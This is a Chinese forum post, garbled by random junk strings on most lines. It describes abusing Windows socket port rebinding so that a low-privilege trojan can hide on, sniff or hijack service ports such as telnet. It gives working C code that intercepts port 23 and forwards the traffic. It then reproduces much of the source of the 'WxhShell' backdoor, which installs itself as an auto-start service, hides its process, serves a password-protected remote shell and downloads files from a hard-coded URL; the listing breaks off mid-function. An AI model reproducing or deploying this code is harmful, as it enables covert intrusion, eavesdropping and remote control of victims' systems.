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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BwBv 'p+n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $6oLiYFX;  
u8[X\f  
  saddr.sin_family = AF_INET; has5"Bb  
msoE8YK&tg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F` ?pZ  
Za01z^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N$=<6eQm  
fYCAwS{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +p43d:[  
AMO{?:8Y;  
  这意味着什么?意味着可以进行如下的攻击: TUk1h\.q  
e@Mm4&f[p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j f^fj-  
!Sw7!h.ut  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f'%}{l: ss  
`,7BU??+u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cCj}{=U  
8H{@0_M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m$O@+;>l  
.+M4P i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }QC: !e,yG  
+*|E%pq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?SQT;C3j(  
v=X\@27= ?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oHa6fi  
lv8tS-  
  #include 8\ :T*u3  
  #include "kN5AeRg  
  #include q+m&V#FT%  
  #include    }S42.f.p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7v\OS-  
  int main() khEHMvVH  
  { *?i~AXJm  
  WORD wVersionRequested; n ~ =]/  
  DWORD ret; n$~RgCf  
  WSADATA wsaData; 12rr:(#%s  
  BOOL val; @w|~:>/g  
  SOCKADDR_IN saddr; w\\    
  SOCKADDR_IN scaddr; 8taaBM`:  
  int err; OY@/18D<>  
  SOCKET s; f:HRrKf9  
  SOCKET sc; ;xj^*b  
  int caddsize; 02=eE|Y@  
  HANDLE mt; 4l z9z>J.V  
  DWORD tid;   2 K` hH  
  wVersionRequested = MAKEWORD( 2, 2 ); $%!]tNGS  
  err = WSAStartup( wVersionRequested, &wsaData ); NVOY,g=3X  
  if ( err != 0 ) { Q04N  
  printf("error!WSAStartup failed!\n"); jN B-FVaT  
  return -1; ,D#~%kq~  
  } w1iQ#.4K_  
  saddr.sin_family = AF_INET; 9RAN$\AKy  
   8~4{e,} ,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7W 4[1  
sM-k,0z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0gnr@9,X  
  saddr.sin_port = htons(23); ?N`W,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EW YpYMkm  
  { YgVZq\AV"  
  printf("error!socket failed!\n"); 30B! hj$C  
  return -1; =k&'ft  
  } 3:76x  
  val = TRUE; cvAkP2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N b+zP[C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1s1$J2LX  
  { rVZk G,Q  
  printf("error!setsockopt failed!\n"); \bfNki  
  return -1; XV!P8n  
  } gI T"nG=a4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7@06x+!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v/CXX<^U(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K{"+eA>CU  
7<X_\,I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kkh#VGh"  
  { * 78TT \q<  
  ret=GetLastError(); `A?/Ww>;  
  printf("error!bind failed!\n"); Plt~l3_  
  return -1; /J5wwQ (:  
  } LnM+,cBz  
  listen(s,2); E*k=8$Y  
  while(1) ]V}";cm;2  
  { [x9eamJ,H  
  caddsize = sizeof(scaddr); ?n[+0a:8E  
  //接受连接请求 NO;+:0n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &Tl3\T0D  
  if(sc!=INVALID_SOCKET) ;B!&( 50e  
  { z+Y0Zh";/#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +AXui|mn  
  if(mt==NULL) (?oK+,v?L  
  { 7TlOF  
  printf("Thread Creat Failed!\n"); .p <!2   
  break; 3rOv j&2  
  } f`vB$r>  
  } ALPZc:  
  CloseHandle(mt); k`xPf\^tf  
  } BK6oW3wD/  
  closesocket(s); *\-6p0~A  
  WSACleanup(); Lw2EA 5  
  return 0; dTS 7l02  
  }   l8jm7@.E  
  DWORD WINAPI ClientThread(LPVOID lpParam) JrS|Ib)6  
  { _sx]`3/86  
  SOCKET ss = (SOCKET)lpParam; $Z$BF  
  SOCKET sc; Br;1kQ%eC  
  unsigned char buf[4096]; EtKy?]i  
  SOCKADDR_IN saddr; M/>^_zG  
  long num; 1XL^Zhr  
  DWORD val; 1;S@XC>  
  DWORD ret; ;5dJ5_}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Pv/$ ;R%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <08)G7  
  saddr.sin_family = AF_INET; >'7Icx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZC@Pfba[`  
  saddr.sin_port = htons(23); <D!"<&N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !-p5j3A4L  
  { arET2(h  
  printf("error!socket failed!\n"); r ",..{  
  return -1; =`99ez+y  
  } x7>' 1  
  val = 100; 2I>X]r.S!1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sYYNT*  
  { "! m6U#^  
  ret = GetLastError(); $CRu?WUS]'  
  return -1; 9x23## s  
  } xrf z-"n4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yIA- +# r[  
  { 6||zfH  
  ret = GetLastError(); /*i[MB  
  return -1; ?s6v>#H%  
  } ?sk{(UN]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &M&*3  
  { RG0kOw0  
  printf("error!socket connect failed!\n"); -LhO </l  
  closesocket(sc); J<yt/V]  
  closesocket(ss); ACctyGd  
  return -1; eD 4X:^@  
  } e?,n>  
  while(1) 58V`I5_  
  { `zw XfY,%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r roI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e ^2n58  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +Hgil  
  num = recv(ss,buf,4096,0); _ VKBzOH  
  if(num>0) C6Lc   
  send(sc,buf,num,0); =;ClOy9  
  else if(num==0) <Z5-?wgf9  
  break; j4k\5~yzS  
  num = recv(sc,buf,4096,0); 41Hv)}Yd  
  if(num>0) e#!%:M;4P  
  send(ss,buf,num,0); %|AebxB'o  
  else if(num==0) jmPnUn  
  break; ^CO{86V  
  } c#( Hh{0  
  closesocket(ss); -Aaim`06bv  
  closesocket(sc); vhIZkz!9  
  return 0 ; m Q4(<,F  
  } G5vp(%j  
FUzN }"\1  
JlR$"GU  
========================================================== ~@=(#tO.  
}IEwGoDwNs  
下边附上一个代码,,WXhSHELL =h0vdi%{  
:e /*5ix  
========================================================== Xdh2  
cD6S;PSg  
#include "stdafx.h" 2. '` mGu  
0xVw{k}1U  
#include <stdio.h> ORuC("  
#include <string.h> K*I!:1;3N  
#include <windows.h> y^Uh<L0M  
#include <winsock2.h> Kv0V`}<Yc  
#include <winsvc.h> lg"aB  
#include <urlmon.h> v|\3FEu@  
aKjP{Z0k$  
#pragma comment (lib, "Ws2_32.lib") /| q .q  
#pragma comment (lib, "urlmon.lib") ^G|* =~_  
0vX4v)-^u  
#define MAX_USER   100 // 最大客户端连接数 xt_:R~/[  
#define BUF_SOCK   200 // sock buffer aD]! eP/)  
#define KEY_BUFF   255 // 输入 buffer 0FSNIPx  
"i#aII+T  
#define REBOOT     0   // 重启 % IHIXncv[  
#define SHUTDOWN   1   // 关机  bTU[E  
<Pzy'9  
#define DEF_PORT   5000 // 监听端口 Lq|>n Y  
J 2<kOXXJ9  
#define REG_LEN     16   // 注册表键长度 ijsoY\V50  
#define SVC_LEN     80   // NT服务名长度 p8Z?R^$9H  
|Dt_lQp#  
// 从dll定义API sYjhQN=Y*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jr,N+K(@T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jc!m; U t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CYRZ2Yrk?"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nv0\On7wd  
#u}%r{T  
// wxhshell配置信息 t0+i ]lr  
struct WSCFG { SQ_Je+X  
  int ws_port;         // 监听端口 Q$uv \h;  
  char ws_passstr[REG_LEN]; // 口令 Kci. ,I  
  int ws_autoins;       // 安装标记, 1=yes 0=no WQ{[q" O  
  char ws_regname[REG_LEN]; // 注册表键名 `78Bv>[A  
  char ws_svcname[REG_LEN]; // 服务名 ~)^'5^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W1 k]P.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )adV`V%=>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;$W HTO(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nl qn:[BU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x-"8V(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  g5 T  
0z'GN#mT5  
}; S=(<m%f  
ia7<AwV  
// default Wxhshell configuration m8ts!6C  
struct WSCFG wscfg={DEF_PORT, DmpT<SI+!  
    "xuhuanlingzhe", &\1n=y  
    1, Jy5sZ }t[  
    "Wxhshell", u<Y#J,p`e  
    "Wxhshell", _ Ao$)Gu)  
            "WxhShell Service", "$XX4w M  
    "Wrsky Windows CmdShell Service", sxsb)a  
    "Please Input Your Password: ", zw[' hqW  
  1, H T|DT  
  "http://www.wrsky.com/wxhshell.exe", ];Z6=9n  
  "Wxhshell.exe" 'C/yQvJ  
    }; GL=}Vu`(*  
/M_$4O;*@  
// 消息定义模块 $c9-Q+pZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XEgJ7h_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VGmvfhf#"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6|zhqb|s  
char *msg_ws_ext="\n\rExit."; 5BJ E  
char *msg_ws_end="\n\rQuit."; -~mgct5  
char *msg_ws_boot="\n\rReboot..."; $#q`Y+;L2  
char *msg_ws_poff="\n\rShutdown..."; #L~i|(=U5  
char *msg_ws_down="\n\rSave to "; &)Xc'RQ.C  
Lm TFvZ  
char *msg_ws_err="\n\rErr!"; &^r>Q`u  
char *msg_ws_ok="\n\rOK!"; OvtE)u l@  
DMM<,1  
char ExeFile[MAX_PATH]; 51SmoFbMz  
int nUser = 0; f#= c=e-A  
HANDLE handles[MAX_USER]; P.}d@qD{)  
int OsIsNt; J#zr50@@  
xSm;~')g  
SERVICE_STATUS       serviceStatus; & 3BoK/y3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |'q%9 #  
>#w;67he2  
// 函数声明 ZEAUoC1E1  
int Install(void); SVZocTt  
int Uninstall(void); v1TFzcHl<  
int DownloadFile(char *sURL, SOCKET wsh); Ho>Np&  
int Boot(int flag); r-<O'^C  
void HideProc(void); dE7S[O  
int GetOsVer(void); ^U }k   
int Wxhshell(SOCKET wsl); gcU*rml  
void TalkWithClient(void *cs); 2yZr!Rb~*  
int CmdShell(SOCKET sock); "f,{d}u  
int StartFromService(void); lH}KFFbp  
int StartWxhshell(LPSTR lpCmdLine); Q?#I{l)V(  
qhEv6Yxfw6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 98>GHl'lM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T$I_nxh[)L  
>?, Zn  
// 数据结构和表定义 ;]u9o}[ 2  
SERVICE_TABLE_ENTRY DispatchTable[] = wI$ a1H  
{ {FNkPX  
{wscfg.ws_svcname, NTServiceMain}, `Mnu<)v  
{NULL, NULL} rm iOeS`:  
}; |A%9c.DG.  
 lN,?N{6s  
// 自我安装 j]Jgz<  
int Install(void) BAf$ty h  
{ 8]ZzO(=@{  
  char svExeFile[MAX_PATH]; .T| }rB<c  
  HKEY key; 0zaK&]oY0  
  strcpy(svExeFile,ExeFile); A&Y5z[p  
;mkkaW,D*  
// 如果是win9x系统,修改注册表设为自启动 x HRSzYn$  
if(!OsIsNt) { bGPE0}b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7?$?Yu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LQ jbEYp  
  RegCloseKey(key); ={qcDgn~C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eU[g@Pq:Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o*S_"  
  RegCloseKey(key); \^x{NV@v42  
  return 0; $ik*!om5  
    } P {TJ$  
  } cHs3:F~~  
} 8xAV[i  
else { Mo,&h?VOM?  
/yOx=V  
// 如果是NT以上系统,安装为系统服务 /wV|;D^ )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3Q=^&o0fl  
if (schSCManager!=0) Gv:~P_vBH[  
{ t|aV:x  
  SC_HANDLE schService = CreateService Nep4 J;  
  ( &X=7b@r  
  schSCManager, CXa[%{[n  
  wscfg.ws_svcname, eb62(:=N6  
  wscfg.ws_svcdisp, f"Zl JVa  
  SERVICE_ALL_ACCESS, ~}Xus?e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A,}M ^$@  
  SERVICE_AUTO_START, o ).deP s-  
  SERVICE_ERROR_NORMAL, B5b:znW2@  
  svExeFile, %6UF%dbYH`  
  NULL, h>-P/  
  NULL, TNX9Z)=>g  
  NULL, I;(3)^QH#  
  NULL, at: li  
  NULL 3S^0%"fY  
  ); #z\ub5um  
  if (schService!=0) D|]BFu)F  
  { H_+n_r*  
  CloseServiceHandle(schService); YuXJT*  
  CloseServiceHandle(schSCManager); T(b9b,ov)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x:Y9z_)O  
  strcat(svExeFile,wscfg.ws_svcname); ;G[V:.o-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4,9$udiGY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6Sr]<I +:  
  RegCloseKey(key); fab'\|Y   
  return 0; ,X4e?$7g  
    } d2rs+-  
  } #36Q O  
  CloseServiceHandle(schSCManager); g^AQBF  
} N[%u>!  
} T$4{fhV \  
zWHq4@K  
return 1; (]|h6aI'}  
} x9_mlZ  
bc)>h!'Y  
// 自我卸载 C|'DKT4M&  
int Uninstall(void) ([>ecS@eO  
{ hXW` n*Zw  
  HKEY key; /%wS5IZ^  
|Splbs k  
if(!OsIsNt) { %opBJ   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xoaO=7\io  
  RegDeleteValue(key,wscfg.ws_regname); +$2{u_m,  
  RegCloseKey(key); S;|:ci<[=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /jbAf]"F;  
  RegDeleteValue(key,wscfg.ws_regname); ?t#wK}d.  
  RegCloseKey(key); ?#xl3Z ;I  
  return 0; sX>u.  
  } 9d(\/ 7  
} h^M_yz-f  
}  bGRt  
else { s|[>@~gXk  
WK ~H]w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ajYe?z  
if (schSCManager!=0) 9T,/R1N8  
{ .tBlGMcN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jL VJ+mu  
  if (schService!=0) 1W^hPY  
  { y<)TYr  
  if(DeleteService(schService)!=0) { vOQ% f?%G\  
  CloseServiceHandle(schService); @Nu2 :~JO  
  CloseServiceHandle(schSCManager); 91-bz^=xO  
  return 0; |P|B"I<?  
  } Bo 35L:r|  
  CloseServiceHandle(schService); L@}PW)#  
  } 7)66e  
  CloseServiceHandle(schSCManager); 0-2|(9 Kc  
} b}e1JPk}!  
} jHLs 5%  
D=tZ}_'{t  
return 1; &quY^j  
} 3h@]cWp  
FDHW' OP4  
// 从指定url下载文件 ^t >mdxuq  
int DownloadFile(char *sURL, SOCKET wsh) ;KeU f(tH  
{ ]hl*6  
  HRESULT hr; 12$0-@U  
char seps[]= "/"; Nw;qJ58@  
char *token; 0|3I^b  
char *file; &|yLTx  
char myURL[MAX_PATH]; IwYeKN6s  
char myFILE[MAX_PATH]; rK3kg2H  
3jmo[<p*x  
strcpy(myURL,sURL); .@1+}0  
  token=strtok(myURL,seps); &|v)   
  while(token!=NULL) p/H.bG!z  
  { ?gH[la  
    file=token; tUn >=>cWP  
  token=strtok(NULL,seps); Z!p\=M,%  
  } mScv7S~/s  
UaT%tv>}8#  
GetCurrentDirectory(MAX_PATH,myFILE); m[DQ;`Y  
strcat(myFILE, "\\"); rhv~H"qzW  
strcat(myFILE, file); 3Ax'v|&Hg  
  send(wsh,myFILE,strlen(myFILE),0); ]#!uke Q  
send(wsh,"...",3,0); ((y|?Z$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kA :Y^2X'  
  if(hr==S_OK) !_W:%t)g  
return 0; blO4)7m  
else 2q f|+[X  
return 1; @gUp9ZwtH  
=BJLj0=N  
} %sa?/pjK  
j"W>fC/u  
// 系统电源模块 +UzQJt/>>  
int Boot(int flag) W4^L_p>Tm^  
{ ;vn0%g  
  HANDLE hToken; uF ?[H -y  
  TOKEN_PRIVILEGES tkp; K)Y& I  
LoF/45|-<  
  if(OsIsNt) { ^r}c&@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?R`S-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NvK9L.K  
    tkp.PrivilegeCount = 1; EF/d7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {X{R]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C.j+Zb1Z(  
if(flag==REBOOT) { KE?t?p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZOK!SBn^?  
  return 0; 5_yQI D%Sq  
} TnW`#.f  
else { GgO5=|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -D^I;[j_  
  return 0;  hfB$4s9  
} V&Y`?Edc  
  } `Rq=:6U;3  
  else { 8|&,JdT  
if(flag==REBOOT) { -4Qub{Uym  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -V$|t<  
  return 0; jNZ .Fb  
} RTtKf i}  
else { C{)1#<`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C6+ 5G-Z  
  return 0; )f8>kz(  
} +Y;P*U}Qg[  
} Mz+I YP`L  
ULx:2jz  
return 1; 1{uxpYAP=  
} kG^76dAQL  
\!KE_7HRu  
// win9x进程隐藏模块 ?Y=aO(}=h  
void HideProc(void) 1]xk:u4LA  
{ CEfqFn3^  
 _"DC )  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [9E~=A#  
  if ( hKernel != NULL ) z8=THz2f  
  { vu0Ql1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zLJ>)v$81  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iFIGJS  
    FreeLibrary(hKernel); w\C1Bh!  
  } j?T'N:Qd  
7UTfafOGX  
return; `IHP_IfR  
} )W\)37=.  
I| TNo-!$  
// 获取操作系统版本 $<*) 5|6  
int GetOsVer(void) pyEQb#  
{ 2- iY:r  
  OSVERSIONINFO winfo; !$)reaS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HZrA}|:h  
  GetVersionEx(&winfo); )@]%:m!ER  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7w )?s@CD  
  return 1; d<c29Y  
  else Omd;  
  return 0; ss^a=?~  
} RhYe=Qh4{p  
~DH 9iB  
// 客户端句柄模块 EKc<|e,F  
int Wxhshell(SOCKET wsl) :s)cTq|3  
{ Y1r$;;sH  
  SOCKET wsh; 1 UQ,V`y  
  struct sockaddr_in client; xU'z>y4V$  
  DWORD myID; 2H%9l@}u  
` w;Wud'*<  
  while(nUser<MAX_USER) 14$%v;Su4  
{ \p^V~fy7rU  
  int nSize=sizeof(client); G1|1Z5r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i0M6;W1T  
  if(wsh==INVALID_SOCKET) return 1; B>{%$@4  
(l5p_x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q0A4}  
if(handles[nUser]==0) SQMl5d1d:  
  closesocket(wsh); rgy I:F.  
else  bPsvoG  
  nUser++; zAB = >v  
  } .zb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Kqo>|C  
]($ \7+  
  return 0; !ooi.Oz*Tu  
} '}agi.z  
w4L()eP#?=  
// 关闭 socket hcVu`Bn  
void CloseIt(SOCKET wsh) (bm^R-SbB  
{ MqJTRBs%  
closesocket(wsh); Zo UeLU  
nUser--; B*/!s7c.  
ExitThread(0); wv~:^v'  
} @Y0ZW't  
xMbgBx4+  
// 客户端请求句柄 . !1[I{KU  
void TalkWithClient(void *cs) 3f =ZNJ>  
{ X5owAc6  
$Sc_E:`]  
  SOCKET wsh=(SOCKET)cs; _'D(>e?  
  char pwd[SVC_LEN]; ]p|?S[!=  
  char cmd[KEY_BUFF];  |q3X#s72  
char chr[1]; t?hfP2&6  
int i,j; x'EEmjJ  
Jm!,=} oP'  
  while (nUser < MAX_USER) { ?HG[N7=j  
Wvl~|Sx]  
if(wscfg.ws_passstr) { c b-IRGF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !mv5i%3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QN*|_H@h  
  //ZeroMemory(pwd,KEY_BUFF); '2X$. ^aW  
      i=0; ^%!{qAp}Z  
  while(i<SVC_LEN) { )at:Xm<s  
R*GBxJaw  
  // 设置超时 H*]Vs=1  
  fd_set FdRead; 5V 2ZAYV  
  struct timeval TimeOut; R_!'=0}V  
  FD_ZERO(&FdRead); l/k-` LeW  
  FD_SET(wsh,&FdRead); )qx;/=D  
  TimeOut.tv_sec=8; G]h_z|$K  
  TimeOut.tv_usec=0; ~q`f@I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;*?>w|t}w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SM~~:  
gk%01&_>4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,h=a+ja8  
  pwd=chr[0]; ,^bgk -x-  
  if(chr[0]==0xd || chr[0]==0xa) { :2lpl%/  
  pwd=0; zS:2?VXxq  
  break; cr;:5D%_  
  } a&{Y~Og?%  
  i++; ZH~bY2^;  
    } 4prJ!k  
(uX?XX^  
  // 如果是非法用户,关闭 socket {.Qv1oOa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4T@+gy^.  
} a~Dk@>+P>  
`h'+4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0n:cmML )D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `M~R4lr  
OUWK  
while(1) { YPx+9^)  
4AN8Sx(  
  ZeroMemory(cmd,KEY_BUFF); xJZaV!N|  
KBM*7raA  
      // 自动支持客户端 telnet标准   N3$1f$`  
  j=0; 3li$)S1z  
  while(j<KEY_BUFF) { CUJq [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6y!U68L;B  
  cmd[j]=chr[0]; Z*M{  
  if(chr[0]==0xa || chr[0]==0xd) { Jqb~RP~  
  cmd[j]=0; ,>aa2  
  break; D?#l8  
  } A6[FH\f  
  j++; 3IRur,|'  
    } OxDq LX  
.xqi7vVHZ  
  // 下载文件 nA0%M1a  
  if(strstr(cmd,"http://")) { .@fA_8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mrr]{K  
  if(DownloadFile(cmd,wsh)) ]I)ofXu]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\UPM+tE  
  else Yuw:W:wY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?j8!3NCl}  
  } s,r|p@^  
  else { `U|7sLR  
Xfg3q.q  
    switch(cmd[0]) { t Cb34Wpf  
  (rFiHv5  
  // 帮助  <O7!(  
  case '?': { c2 NB@T9'v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =/K)hI!u  
    break; H.ZF~Yu w  
  } T1qbb*  
  // 安装 XB7*S*"!  
  case 'i': { qkKl;Z?Y:  
    if(Install()) * EGzFXa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |&"aZ!Kn  
    else ^"O>EY':  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^R:&c;&,  
    break; =Rx4ZqTI|  
    } O:#YLmbCN  
  // 卸载 rJGh3%  
  case 'r': { pl%!AY'oE>  
    if(Uninstall()) <y8oYe_!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tr_gc~  
    else ^2}HF/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ho&:Zs  
    break; f2[R2sto@  
    } q{`1 [R  
  // 显示 wxhshell 所在路径 M?YNK]   
  case 'p': { ="78#Wfj2  
    char svExeFile[MAX_PATH]; MO$y st?fK  
    strcpy(svExeFile,"\n\r"); }$z(?b  
      strcat(svExeFile,ExeFile); Eu' ;f_s  
        send(wsh,svExeFile,strlen(svExeFile),0); ]7}!3m  
    break; ~-Kx^3(#  
    } n 6 pJ]Ce  
  // 重启 9;Z{++z  
  case 'b': { 1q(Qr h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3F]Dh^IR9  
    if(Boot(REBOOT)) #&T O(bk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k Nc- @B  
    else { p/ xlR[  
    closesocket(wsh); mDz44XO   
    ExitThread(0); 3N$@K"qM#  
    } "LlQl3"=  
    break; &(,\~  
